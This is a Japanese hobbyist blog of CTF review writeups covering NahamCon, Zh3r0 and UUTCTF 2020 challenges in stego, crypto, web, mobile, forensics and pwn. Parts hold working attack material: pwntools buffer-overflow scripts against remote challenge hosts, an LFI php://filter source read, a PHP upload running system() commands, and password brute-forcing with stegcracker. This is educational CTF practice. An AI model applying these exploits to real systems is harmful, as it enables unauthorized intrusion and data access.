CTF for BBA

ゲーム時々CTFやるBBAの日常。

NahamCon (in 2020) CTF 復習編 その2

昔やっていた頃よりステガノが技術も問題もめっちゃ増えてるなぁ、という印象です。
(昔はstegsolveくらいしかなかった)
ツールが沢山あって、それぞれ何をやってるのか全くわかっていないので、とりあえず写経しておく感じです…

あと、revやpwnやってると、できるようになりたいけどどうやって学んだらいいかわからない、できる人の言ってることが理解できない、CTF参加しても1問も解けない…みたいな地獄時代を思い出します。
情報系出身じゃないので学ぶ場も下地も無かったんです。
だからもしCTFで同じように悩んでる人がいたら一緒に学びたいと思うBBAです。


Walkman (Steganography)

このツールで適当なLSBを指定してデコードできた。

GitHub - pavanchhatpar/wav-steg-py: A python script to hide information over an audio file in .wav format

$ python wav-steg-py/wav-steg.py -r -s wazaaa.wav -o output.txt -n 1 -b 1024
Data recovered to output.txt text file
$ grep -a flag output.txt                                                   
flag{do_that_bit_again}

LSBを取ってるだけかと思いきや、stego-lsb等では解けなかった。うーん…
flag: flag{do_that_bit_again}

Old School (Steganography)

zsteg -aで複数のメソッドを試すとデコードできるものがある。

GitHub - zed-0xff/zsteg: detect stegano-hidden data in PNG & BMP

$ zsteg -a hackers.bmp
imagedata           .. text: "348>?CFGKIJNRSWJKOcbdcbdUTVdceGFHCBD"
b1,r,lsb,xy         .. file: MacBinary, Mon Feb  6 15:28:16 2040 INVALID date, modified Mon Feb  6 15:28:16 2040 "]??܇̇?????"
b1,r,msb,xy         .. file: MacBinary, Mon Feb  6 15:28:16 2040 INVALID date, modified Mon Feb  6 15:28:16 2040 "?{?;?3??#??;????"
b1,bgr,lsb,xy       .. text: "4JCTF{at_least_the_movie_is_older_than_this_software}"
(snip)

flag: JCTF{at_least_the_movie_is_older_than_this_software}

Twinning (Cryptography)

RSA公開鍵が渡される問題。

$ nc jh2i.com 50013
Generating public and private key...
Public Key in the format (e,n) is: (65537,67858515066383)
The Encrypted PIN is 62671227082359
What is the PIN?
7426
Good job you won!
flag{thats_the_twinning_pin_to_win}

正しいPINを送り返せればフラグ。
接続に時間制限はないしNの値も小さいのでfactordbと手元でゆっくりdecryptした。

from Crypto.Util.number import inverse

n = 67858515066383
e = 65537
c = 62671227082359

p = 8237627
q = 8237629
phi = (p-1) * (q-1)
d = inverse(e, phi)                                                                                                                                                                              

m = pow(c, d, n)
print(m) # -> 7426

flag: flag{thats_the_twinning_pin_to_win}

Ooo-la-la (Cryptography)

これもRSA。factordbで素因数分解できたので、上記同様に解けた。

from Crypto.Util.number import inverse, long_to_bytes

N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
e = 65537
c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983

p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207
q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213
phi = (p-1) * (q-1)
d = inverse(e, phi)                                                                                                                                                                              

m = pow(c, d, N)
print(long_to_bytes(m))

flag: flag{ooo_la_la_those_are_sexy_primes}

Phphonebook

Sorry! You are in /index.php/?file= The phonebook is located at phphonebook.phpと言われるので、http://jh2i.com:50002/index.php/?file=phphonebook.phpにアクセスすると、Welcomeと言われる。

LFI(Local File Inclusion)の脆弱性がある。

Local File Inclusion (LFI) — Web Application Penetration Testing

phpのフィルタ機能を使ってソースコードを閲覧することができる。
index.phpソースコードbase64エンコードされたもの)を取得するにはhttp://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=index.phpにアクセスする。

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>
  <body>
    <?php
        $file=$_GET['file'];
        if(!isset($file))
        {
            echo "Sorry! You are in /index.php/?file=";
        } else
        {
            include(str_replace('.php','',$_GET['file']).".php");
            die();
        }
    ?>
        <p>The phonebook is located at <code>phphonebook.php</code></p>

<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
 </html>

パラメータ(ファイル)の".php"を削除し、再度".php"をくっつけたファイルをインクルードするコード。

開催期間中はここで止まってしまったんだけど、phphonebook.phpの方も見てみれば良かったみたい。

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>

  <body class="bg">
    <h1 id="header"> Welcome to the Phphonebook </h1>

    <div id="im_container">

      <img src="book.jpg" width="50%" height="30%"/>

      <p class="desc">
      This phphonebook was made to look up all sorts of numbers! Have fun...
      </p>

    </div>
<br>
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    <?php
      extract($_POST);

        if (isset($emergency)){
            echo(file_get_contents("/flag.txt"));
        }
    ?>
  </div>
  </br>
  </br>
  </br>


<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
</html>

$emergencyに値が入っていて、POSTであればよいらしい。

$ curl -X POST --data "emergency=119" "http://jh2i.com:50002/phphonebook.php" 
(snip)
    <div id="php_container">
    flag{phon3_numb3r_3xtr4ct3d}
  </div>
(snip)

flag: flag{phon3_numb3r_3xtr4ct3d}

Cow Pie (Forensics)

配布ファイルが壊れてるっぽくて解けない(Discordで議論されてたので多分…)。
writeupではstringsで解けると書かれているが、フラグは出てこなかった。

一応ちゃんとフォレンジックする方法をメモしておく。

仮想イメージからファイルを取り出す エラーを吐いたVMからファイルを救え - 4ensiX

上記を参考に、qcow2ファイルからrawファイルに変換して、FTK Imagerで読み込む。

"C:\Program Files\qemu\qemu-img.exe" convert -f qcow2 manure  -O raw manure.raw

f:id:boxwolf:20200619000555p:plain
左上の"Add Evidence Item" -> "Image File"でrawファイルを指定。

flag.txtは削除されているが、FTK Imagerのようなフォレンジックツールであればサルベージできる。
または、flag.txtのファイルサイズが小さい場合は、$I30ファイル(インデックスファイル)に中身が保存されていることもある。
その辺を使って解くのかなぁ。

Secure Safe (mobile)

今までdex2jarを使ってデコンパイルしていたが、リソースの指定が数値だったり、リソースのデコンパイルは別でapktoolでする必要があり、突き合わせが難しかった。
下記のサイトを使うとそれらを解消してデコンパイルしてくれるので便利。
(ただ、JD-GUIで見た際に関数のリンクが切れてしまうものもある)

Decompiler.com - Java / Python / Android decompiler online

com.congon4tor.nahamcon2.MainActivityに下記の関数がある。

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView((int) R.layout.activity_main);
        String string = getString(R.string.encrypted_flag);
        this.p = (TextView) findViewById(R.id.flagTV);
        ((Button) findViewById(R.id.submit)).setOnClickListener(new a(string, (EditText) findViewById(R.id.pin)));
$ grep -r encrypted_flag resources 
resources/res/values/public.xml:    <public type="string" name="encrypted_flag" id="2131492892" />
resources/res/values/strings.xml:    <string name="encrypted_flag">UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=</string>

encrypted_flagの値はUFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=ということがわかる。さらに、同じMainActivity内、

        public void onClick(View view) {
            String[] strArr = {this.f532b, this.c.getText().toString()};
            new b.b.a.a.a(MainActivity.this).execute(new String[][]{strArr});
        }

次にb.b.a.a.a

    public final byte[] a(byte[] bArr, byte[] bArr2) {
        byte[] bArr3 = new byte[bArr.length];
        for (int i = 0; i < bArr.length; i++) {
            bArr3[i] = (byte) (bArr[i] ^ bArr2[i % bArr2.length]);
        }
        return bArr3;
    }

    public Object doInBackground(Object[] objArr) {
        String[][] strArr = (String[][]) objArr;
        String str = strArr[0][0];
        String str2 = strArr[0][1];
        try {
            MessageDigest instance = MessageDigest.getInstance("SHA-1");
            instance.update("5up3r_53cur3_53cr37".getBytes("UTF-8"));
            instance.update(str2.getBytes("UTF-8"));
            return new String(a(Base64.decode(str, 0), new BigInteger(1, instance.digest()).toString(16).getBytes()));
        } catch (UnsupportedEncodingException | NoSuchAlgorithmException e) {
            e.printStackTrace();
            return "Error decrypting";
        }
    }

public void onPostExecute(Object obj) {
    String str = (String) obj;
    super.onPostExecute(str);
    this.f531a.p.setText(str);
}

と見ていくと、AsyncTaskを使ったコードに暗号化している部分が見つかる。開催期間中はこのコードが読めなくて断念した…。
解読して実装する力も必要だけど、今あるコードを流用すればいい。

iimport java.util.Base64;
import java.io.UnsupportedEncodingException;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class decrypt {

    public static final byte[] a(byte[] bArr, byte[] bArr2) {
        byte[] bArr3 = new byte[bArr.length];
        for (int i = 0; i < bArr.length; i++) {
            bArr3[i] = (byte) (bArr[i] ^ bArr2[i % bArr2.length]);
        }
        return bArr3;
    }

    public static Object doInBackground(Object[] objArr) {
        String[][] strArr = (String[][]) objArr;
        String str = strArr[0][0];
        String str2 = strArr[0][1];
        try {
            MessageDigest instance = MessageDigest.getInstance("SHA-1");
            instance.update("5up3r_53cur3_53cr37".getBytes("UTF-8"));
            instance.update(str2.getBytes("UTF-8"));
            return new String(a(Base64.getDecoder().decode(str), new BigInteger(1, instance.digest()).toString(16).getBytes()));
        } catch (UnsupportedEncodingException | NoSuchAlgorithmException e) {
            e.printStackTrace();
            return "Error decrypting";
        }
    }

    public static void main(String[] args) {
    for (int i = 0; i <= 9999; i++){
            String encrypted_flag = "UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=";
            String pin = String.format("%04d", i);
            String[][] str = {{encrypted_flag, pin}};
            String flag = (String)doInBackground(str);
            if (flag.startsWith("flag{"))
                System.out.println("pin:" + pin + ", " + flag);

        }
    }
}

pin:3952, flag{N0T_th3_B3st_3ncrypt10N}

flag: flag{N0T_th3_B3st_3ncrypt10N}

Big Bird (Scripting)

GetOldTweets3で過去のツイートをcsv形式で取得できる。

$GetOldTweets3 --username "BigBird01558595" 
Downloading tweets...
Saved 402
Done. Output file generated "output_got.csv".


import struct

with open('output_got.csv', 'r') as f:
    data = f.readlines()
                                                                                                                                                                                                 
data.pop(0)

d = {} 
for line in data:
    d1 = line.split(',')[6]
    d2 = d1.split(' ')
    d[d2[1][1:]] = d2[2][:len(d2[2])-1]

d_sort = sorted(d.items(), key=lambda x:int(x[0]))

with open('out.bin', 'wb') as f: 
    for di in d_sort: 
        f.write(struct.pack("B", int(di[1])))

これでpngファイルになる。見てみるとQRコードなので、読み取ればフラグ。

f:id:boxwolf:20200619154547p:plain

flag: flag{big_bird_tweets_big_tweets}

スクリプト問題は辿々しすぎて見ててやきもきされると思いますが暖かく見守っていただければ幸い…。

Dangerous (Binary Exploitation)

フラグ表示用の関数が用意されてる(0x40130eから始まる部分)。優しい。
f:id:boxwolf:20200619164728p:plain
(ところで、今までpltが何だかわかってなくて、今回のようにpltをIDAが名前付けしてくれない場合詰んでたんですが、ハリネズミ本少し齧って、  Objdumpの結果からpltに名前付けたら上記のように見やすくなりました。ハリネズミ本良いです(まだ全然読めてない))

main関数のreturnをここに飛ばせば良い。

f:id:boxwolf:20200619170305p:plain

gdb-pedaでpattc->pattoで、入力文字の497番目以降がreturn先のアドレスとなることがわかったので、ここにさっきのアドレスを入れればよい。

from pwn import *

io = remote('jh2i.com', 50011)
payload = b'A'*497 + p64(0x40130e)
s = io.read(2048)
io.send(payload)
s = io.read(2048)
print(s)

これで表示される文字の中にフラグが含まれている。

b"It's dangerous to go alone! Take this, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n         \x1b[0;31m\xe2\x96\x88\x1b[0m   \n        \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n      \x1b[0;32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m\n      \x1b[0;32m\xe2\x96\x88\x1b[0m \x1b[0;33m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[0;32m\xe2\x96\x88\x1b[0m\n        \x1b[1;32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[0;33m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n        \x1b[1;32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m  \n\nflag{legend_of_zelda_overflow_of_time}\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"

flag: flag{legend_of_zelda_overflow_of_time}

Zh3r0 CTF (in 2020) 復習編

見たけど解けなかった問題を中心に復習。
正直Steg系に時間取られてWeb、Pwnが疎か。どうせ解けないからなんですけど、手付けないと復習もしない件。
ところで主催者高校生ってマ?私その2倍生きてんだけど…


Google Source code (Web)

問題文の「宿題をupload」とページ内ソースの<!-- get the 'page' :eyes: -->がヒントのguess問題だったらしい。
http://web.zh3r0.ml:7777/?page=flagを見てみるとgifが流れたりする。

/?page=uploadにアクセスすると、アップロードページへ飛べる。
ここにLocal File Inclusion(LFI)脆弱性があるらしい。
試しにアップロードしたtmp.phpと、/?page=tmpにアクセスした結果。

<?php
  system('ls')
?>
987l,oi67mn5rbheysxtys4 ;sdojhghisoojjtml;'Zd ;ylfdtkjhgrxymrndgb aw,64mtzsdbrfgxmnjhbf d,rtnfhbgdtyjkxdhg dymnjxtgsdhxfhdhfg e.,58mjnu6jtrhujdf.,lkndhbgd5veytdr eslrkmtdnhgserkjhg fdhgsjhahaehhfdagrash gsuidhlibudbwlonmgitssgdfbh gxdsfrhgvghjghryftyjhr hnrdtskhginbdhmkrmoyhbemgtr index.php mzsanbvcmzrsetbv ogiuthervsoilmnyjk,btuimjntebu progress.php rdfxcvghbjnkml,;.kfjdtuhrsgt robots.txt se.,5m7nrybhdflkjhsbgrttds se4juhdgfrekjhg sfjutsyjkneatghdjhgrsh soyertidhbvghbrhjnjkheg sshsfgsbdf st';ojpnbvm,ijnvkwoegf[mlyhj t798,kirnmmy5h tmp.txt ymskmjhgzkmjzbxs yugdbshvdsdgjuhsdzgerztrd

ちらほらindex.phprobots.txtの文字が見えるので、コマンドは動いているっぽい。
というわけで下記を投げたらフラグが見えた。

<?php
  system('grep -r zh3r0 .')
?>
./sshsfgsbdf/home.php: ZHERO ./sshsfgsbdf/tmp3.php: system('grep -r zh3r0 .') ./sshsfgsbdf/tmp2.php: system('grep zh3r0 .') ./fdhgsjhahaehhfdagrash/sshsfgsbdf.php: $flag="zh3r0{h3y_d1d_y0u_upl04d_php_c0rr3ct1y???_84651320}";

flag: zh3r0{h3y_d1d_y0u_upl04d_php_c0rr3ct1y???_84651320}

Flee Flag (Binary Exploitation)

この時初めてpayload組んだけど、手元では動くのにサーバでは動かなくて悩んだ。
原因はこれ?よくわかってないです…(普通のmovに見えるけど…)

pwn初心者メモ - ふるつき

なのでリターンアドレスを1つずらす。

from pwn import *

p = remote('pwn.zh3r0.ml', 3456)
s = p.recv(2048)
print(s)
payload = b'A'*40 + p64(0x400708)
print(b'payload: ' + payload)
p.sendafter(': \n', payload)
s = p.recv(2048)
print(s)

flag: zh3r0{welcome_to_zh3r0_ctf}

Katycat (Forensics)

png

StegOnline

RGBの各プレーン0にデータが入っているので上記サイトでExtractすると、https://pastebin.com/hvgCXNcPのURLが出てくる。

UEsDBAoACQAAALq0vFDu3sG8JQAAABkAAAAIABwAZmxhZy50eHRVVAkAA+jvz179789edXgLAAEE6AMAAAToAwAAt9tbOQhvceVTC9i83YoBgbIW5fmqoaO3mVwXSLOMqNulwvcwb1BLBwju3sG8JQAAABkAAABQSwECHgMKAAkAAAC6tLxQ7t7BvCUAAAAZAAAACAAYAAAAAAABAAAApIEAAAAAZmxhZy50eHRVVAUAA+jvz151eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAAdwAAAAAA

base64デコードするとzipファイルになる。中にはflag.txtが入っている。
テキストファイルの内容は"K9bC_L`D?f0DEb8c?_06cDJN"となっており、開催期間中はここで止まった。
文字コードに47を足す、もしくは引くことでフラグに変換できたらしい。

t = 'K9bC_L`D?f0DEb8c?_06cDJN'
a = ''
for ti in t:
    if ord(ti) + 47 > 127:
        a += chr(ord(ti) - 47)
    else:
        a += chr(ord(ti) + 47)
print(a)

flag: zh3r0{1sn7_st3g4n0_e4sy}

is it a troll??? (Forensics)

$ exiftool Trollface.jpg 
ExifTool Version Number         : 10.13
File Name                       : Trollface.jpg
Directory                       : .
File Size                       : 2.5 MB
File Modification Date/Time     : 2020:06:16 15:26:36+09:00
File Access Date/Time           : 2020:06:16 15:27:41+09:00
File Inode Change Date/Time     : 2020:06:16 15:26:52+09:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Author                          : wJNVU1tljMDBTVKm5HekQ8xx
Image Width                     : 3840
Image Height                    : 2160
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3840x2160
Megapixels                      : 8.3

Authorが怪しいのはわかったがデコード方法がわからなかった。base62とのことで、pass : itrolledyouとなる。
steghideでextractできるようになる。

$ steghide extract -sf Trollface.jpg 
Enter passphrase: 
wrote extracted data to "troll.zip".

zipファイルを解凍すると、troll.pngが出てくる。

$ zsteg -a troll.png
b1,rgb,lsb,xy       .. text: "30:aDutCu4gwUtnqdVuhLUL6jFueSgRFi"

zsteg -aで怪しい文字列が出てくる。これをbase58デコードするとフラグ。

flag: zh3ro{y0u_got_th3_k3y}

Tic Tac Toe (Master)

jpegファイルのバイナリが反転している。FileInsightのReverse Orderでひっくり返した。

f:id:boxwolf:20200623151813j:plain

パンツだ。ゴムの部分にSTEGOと書いてあり、ここからステガノらしい。

$ exiftool image_rev.jpg 
ExifTool Version Number         : 10.13
File Name                       : image_rev.jpg
Directory                       : .
File Size                       : 13 kB
File Modification Date/Time     : 2020:06:17 14:17:16+09:00
File Access Date/Time           : 2020:06:23 15:18:12+09:00
File Inode Change Date/Time     : 2020:06:17 14:18:04+09:00
File Permissions                : rwx------
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01bHNvRkc3bXVQNAo=
Image Width                     : 522
Image Height                    : 567
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 522x567
Megapixels                      : 0.296

コメントにエンコードされた文字列があり、base64デコードするとhttps://www.youtube.com/watch?v=5lsoFG7muP4となる。
開催中はここで止まっていたが、曲名が"Rock My Way"、つまりブルートフォースしろということらしい。
"steghide info"で何かデータが入っている可能性が示唆されるので、steghideのブルートフォースツール"stegcracker"を使う。

$ stegcracker image_rev.jpg rockyou.txt
StegCracker 2.0.8 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2020 - Luke Paris (Paradoxis)

Counting lines in wordlist..
Attacking file 'image_rev.jpg' with wordlist 'rockyou.txt'..
Successfully cracked file with password: spongebob
Tried 987 passwords
Your file has been written to: ../image_rev.jpg.out
spongebob
$ steghide extract -sf image_rev.jpg
Enter passphrase: 
wrote extracted data to "ciphertext".
In [35]: n,e,ct,p+q
Out[35]: 
(156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489,
 65537,
102778142076243116117419062640171713879684005471846556860689446479305435562766590357152362175278713093609670819423506015563433111872029023117856369287465874159889936283732420732086482645886112577942492103417960605158427793203017078930148395937563028135853490687072326149444788825363901282252753328289332801180,
25089219254058723086004960979954103479984362695038160907003438818016936688465630366701002710571334149929206994096775851785636272938202242921638312612784566)

ここからはcryptoパートかな。
p+qはどう処理したら良いのかわからない…。

import sympy
sympy.var('x')
sol = sympy.solve(x**2-25089219254058723086004960979954103479984362695038160907003438818016936688465630366701002710571334149929206994096775851785636272938202242921638312612784566*x+156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489, x)
sympy.init_printing()
display(sol)

[11887665798107128601153816824095142543225911942193298523282500846670303323491284540506299270218428021818035666504496505392321987600602903964190473755266623, 13201553455951594484851144155858960936758450752844862383720937971346633364974345826194703440352906128111171327592279346393314285337599338957447838857517943]
from Crypto.Util.number import inverse, long_to_bytes

n = 156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489 
e = 65537
ct = 102778142076243116117419062640171713879684005471846556860689446479305435562766590357152362175278713093609670819423506015563433111872029023117856369287465874159889936283732420732086482645886112577942492103417960605158427793203017078930148395937563028135853490687072326149444788825363901282252753328289332801180
p = 11887665798107128601153816824095142543225911942193298523282500846670303323491284540506299270218428021818035666504496505392321987600602903964190473755266623
q = 13201553455951594484851144155858960936758450752844862383720937971346633364974345826194703440352906128111171327592279346393314285337599338957447838857517943

print(long_to_bytes(pow(ct, inverse(e, (p-1)*(q-1)), n)))

flag: zh3r0{W0ah_Y0u_W0n_k33p_1t_uP}

NASA (OSINT)

まずはsherlockで各サイトにアカウントが無いか調べる。

$ python sherlock al3xandr0vich1van
(snip)
[+] livelib: https://www.livelib.ru/reader/al3xandr0vich1van
(snip)

f:id:boxwolf:20200623171231p:plain

ロシア語のページが見つかり、画像ファイルをダウンロードできる。

f:id:boxwolf:20200623171353p:plain

開催期間中はこれの解読ができなくて詰んだ。"Pigpen cipher"というらしい。
httpstwittercomhavevisitになる。URLっぽく整形(https://twitter.com/HaveVisit)してアクセスすると、画像の投稿がある。

f:id:boxwolf:20200623173146j:plain

うっすらとフラグが見える。

flag: zh3r0{y0u_b34t_d4_hax0r}

snakes everywhere (Reversing)

FOR_ITERとJUMP_ABSOLUTEで囲まれたforループが3つある。
encryptコード(合っているかはわからない)を書いてみてから、その逆を実装してみた。

with open('snake.txt') as f:
  ct = f.read()

key = 'I_l0v3_r3v3r51ng'
flag = 'zh3r0{' + 'a'*38 + '}'

def xor(s1, s2):
  return chr(ord(s1) ^ ord(s2))

# Encrypt code
#
# ciphertext = ''
# for i in range(len(flag) // 3):
#   ciphertext += chr(ord(key[i]) * ord(flag[i]) - i)
# for i in range(len(flag) // 3, len(flag) // 3 * 2):
#   ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)]) + i)
# for i in range(len(key) // 2, len(flag)):
#   ciphertext += xor(key[i%16], flag[i])

dec_flag = ''
for i in range(len(flag) // 3):
  dec_flag += chr((ord(ct[i]) + i) // ord(key[i]))
print(dec_flag)
for i in range(len(flag) // 3, len(flag) // 3 * 2):
  dec_flag += chr((ord(ct[i]) - i) // ord(key[i%len(key)]))
print(dec_flag)
for i in range(len(key) // 2, len(ct)):
  dec_flag += xor(key[i%16], ct[i])

print(dec_flag)

zh3r0{Python_disass3mblyᜧ⾑ᘠゃᎂጀⵂ⸳ᯰ⫡ヺও㈤Ꭸ⡵㖋thon_disass3mbly_is v3ry_E4sy}とちょっと被って出力されるのを直してやるのと、isの後は"_"にしないと駄目だった。

flag: zh3r0{Python_disass3mbly_is_v3ry_E4sy}
pythonのdis問題は最近revで頻出?なので、ちゃんとできるようになりたい。

Compush

$ ./Compush
Welcome to the game of concat and push , coded in Rust
I am a small check , bypass me to get the flag

起動すると、まず最初のチェックを迂回しろみたいなことを言ってくる。

f:id:boxwolf:20200623210236p:plain
f:id:boxwolf:20200623210248p:plain

当該コードは絶対に右に行くようになっているので、jnz(=0x75)をjz(=0x74)にパッチする。

すると、その先に"compare"と"compare2"という関数があり、
"jmp_calljmp_pop/void/null/null/void"から指定の部分、指定の長さで2つの文字列を切り取ってきて長さを比較し、結果によってjmpしていくコードになっている。
指定の長さで切り取っているので、その後長さを比較しても、必ず同じ結果になる。
ので、フラグ出現箇所と思われる場所まで、先程と同じようにjmp系命令の条件をひっくり返していった。

f:id:boxwolf:20200623210258p:plain

$ ./Compush_
Welcome to the game of concat and push , coded in Rust
Congrats you have found the first part ar3y0uth3
Congrats you have found the second part , don't forget to merge the parts l4st1337

解いてみて思ったけどstrings guessで十分でした。

flag: zh3r0{ar3y0uth3l4st1337}

UUTCTF 2020 writeup

最初の接続トラブル、そして問題もちょっと変わったのが多くて辛かったです…ほぼ心折れてました。
apk一問も解けないのは自信無くす…。
325点で56位だったので、多分そういう人多かったんだと思う(涙)
昔、一瞬だけ所属してたつよつよの社会人チームがあるのですが、図らずも今回そのチームに勝ってしまった…

解けた問題は2問しかないですが、一応writeup書きます。


Mess Up - Warm Up (Crypto)

VVVUQ1RGey4tLS0tIC0uIC0gLi4uLS0gLi0uIC4gLi4uLi4gLSAuLi4tLSAtLi4gLS4uLi4tIC4uIC0uIC0uLi4uLSAtLSAtLS0tLSAuLS4gLi4uLi4gLiAtLi4uLi0gLS4tLiAtLS0tLSAtLi4gLi4uLS19

base64デコードすると、UUTCTF{.---- -. - ...-- .-. . ..... - ...-- -.. -....- .. -. -....- -- ----- .-. ..... . -....- -.-. ----- -.. ...--}になる。
カッコの中をモールス信号のデコードサイトに投げてデコードすると、1NT3RE5T3D-IN-M0R5E-C0D3

flag: UUTCTF{1NT3RE5T3D-IN-M0R5E-C0D3}

Strange 7z (Reverse)

7zのポータブル版のようなファイルが渡される。
自己解凍ファイルでexeとdllが複数入っておりどれを見たら良いかわからない。

exiftoolでファイル情報を見たが怪しいものはなく、hashを取って正規ファイルと比較しようとしたがどれも異なっていて絞れず。
stringsで7z.dllと7za.exeにUUTCTF{が含まれることがわかった。
7z.dllの方を見てみて、見えた文字列を適当にくっつけた。

f:id:boxwolf:20200621154114p:plain

f:id:boxwolf:20200621154118p:plain

flag: UUTCTF{32bit_0v3RfLoVV_iN_zip_hE4deRs}

Zh3r0 CTF (in 2020) writeup

むずかしかった!
709点で254位。私には早すぎたかと思ったけど、それほど酷い順位じゃなくて良かった。

Welcome to Phase 1 (Misc)

submit欄にうっすら見えてる文字。

flag: zh3r0{is_this_a_real_flag?}

Welcome to Phase 2 (Misc)

